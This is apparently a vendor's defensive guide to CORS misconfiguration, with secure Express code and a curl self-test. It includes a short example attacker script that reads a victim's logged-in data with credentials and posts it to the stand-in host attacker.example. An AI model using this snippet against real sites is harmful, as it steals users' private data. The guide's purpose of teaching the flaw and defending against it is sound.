You are building your app, the browser throws a red CORS error, you search a forum or ask the AI and copy the fix that promises everything will just work. It is usually the worst possible one. This guide explains what CORS really is, what it protects and what it does not, the exact mistake that leaves your users' data reachable by any website, how to configure it properly with code and how to check it from the outside.
What CORS really is
By default, the browser does not let a page on site-a.com read the response of an API on site-b.com. That is the same-origin policy, and an origin is the combination of scheme, host and port: https://app.example.com and https://api.example.com are different origins. That policy protects your users: it stops a malicious tab from reading data from another site where they are logged in.
CORS (Cross-Origin Resource Sharing) is the mechanism your server uses to relax that rule on purpose: with the Access-Control-Allow-Origin header it tells the browser "this specific origin may read the response". For requests that are not simple (a PUT, a JSON body, an Authorization header), the browser first sends an OPTIONS check, the preflight, and only proceeds if the answer authorises it.
What CORS does not protect
Worth getting straight before configuring it. CORS is a rule browsers follow, not an access control on your API. An attacker with curl, a script on a server or a mobile app is not subject to CORS: they see everything your API returns without a session. If an endpoint hands out data without checking who is asking, CORS does not fix that; authentication does. CORS protects one very specific thing: that another website cannot use your user's browser, with their cookies, to read private data on their behalf.
The mistake that breaks everything
The dangerous pattern is reflecting back whatever origin arrives and, on top of that, allowing credentials:
Access-Control-Allow-Originset to the requesting origin, whatever it is (dynamic reflection), andAccess-Control-Allow-Credentials: true.
With that combination, any website your user visits can call your API with the user's session cookies and read the response. The attack fits in three lines on the attacker's page:
fetch('https://api.yourdomain.com/me', { credentials: 'include' })
.then(r => r.json())
.then(data => fetch('https://attacker.example/collect', { method: 'POST', body: JSON.stringify(data) }))
The user sees nothing: they just opened a page. The wildcard * is less severe because the browser refuses to combine it with credentials, but it does not belong on an API with private data either.
The ways this mistake reaches code are usually innocent: in Express, cors({ origin: true, credentials: true }) reflects any origin; a careless regular expression like /yourdomain.com$/ accepts evil-yourdomain.com; a list that includes null allows pages opened from local files and sandboxed iframes; and "allow everything in development" ends up deployed to production.
How to configure it properly
Think defence, not convenience. Keep a closed list of origins, match it exactly and return the header only on a match. In Express:
const ALLOWED = new Set([
'https://app.yourdomain.com',
'https://yourdomain.com',
])
app.use((req, res, next) => {
const origin = req.headers.origin
if (origin && ALLOWED.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin)
res.setHeader('Vary', 'Origin')
res.setHeader('Access-Control-Allow-Credentials', 'true')
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization')
res.setHeader('Access-Control-Max-Age', '600')
}
if (req.method === 'OPTIONS') return res.sendStatus(204)
next()
})
Four details that matter. Vary: Origin stops a CDN from caching the response for one origin and serving it to another. Allow-Credentials only if you truly use cookies across origins; if your API and your app live on the same domain, you do not even need CORS. Limit methods and headers to what you use. And answer the OPTIONS with 204 without running business logic.
In Next.js the same code lives in a middleware or in each route handler; in Nuxt, in routeRules or a server middleware. If you use Supabase or Firebase straight from the browser, they handle CORS themselves and the real barrier is the database rules, not this header.
Public APIs may use the wildcard
If your API serves data that is truly public (a price list, a catalogue) and uses no cookies, Access-Control-Allow-Origin: * is legitimate and makes life easier for whoever consumes it. The rule is never to mix the wildcard, or reflection, with data that depends on the user's session.
Why it is hard to spot
This flaw is silent: everything works, there is no visible error and the app looks healthy. You only notice when someone abuses it, and even then it leaves no obvious trace in your logs, because the requests arrive with a valid session. That is why you should review your CORS configuration explicitly on every deploy instead of trusting that "no error means it is fine".
How to check it yourself
Request a private endpoint of your API pretending to come from another site and look at the headers that come back:
curl -s -I -H "Origin: https://evil.example" https://api.yourdomain.com/me | grep -i access-control
If the response returns Access-Control-Allow-Origin: https://evil.example together with Access-Control-Allow-Credentials: true, you have the problem. If it returns no CORS header at all for an unknown origin, you are fine. Repeat with Origin: null and with a made-up subdomain of your own domain.
CORS does not replace CSRF protection
An attacker does not need to read the response to do harm: it is enough that the request executes (a POST that changes the account email, for instance). That is prevented by cookies with SameSite=Lax or Strict and, for sensitive forms, an anti-CSRF token. CORS and SameSite are two different layers; you want both.
Review your CORS with Scanaris
Scanaris checks, read-only, how your site answers requests from unknown origins: whether it reflects the origin, whether it allows credentials and whether it combines the wildcard with cookies. It launches no attacks and touches no data: it only observes the public response, just like the command above. If it finds a dangerous setup, it gives you a fix prompt so your AI rewrites it with a closed list. It is one of the checks in the launch checklist; the rest of the pieces, headers included, are in the security headers guide.
Frequently asked questions
Why do I get a CORS error locally but not in production?
Because locally the frontend runs on localhost:3000 and the API on another port: different origins. In production they usually share a domain. Add the development origin to the list only in the development environment; never reflect everything to "make the error go away".
Can I put several origins in Access-Control-Allow-Origin?
No, the header takes a single value. That is why you compare the incoming origin against the list and return only that one, with Vary: Origin.
Can a mobile browser or an extension bypass CORS?
Native apps and server scripts are not subject to CORS; extensions have their own permissions. CORS protects the user in their normal browser, which is where their cookies live. Everything else is protected by your API's authentication.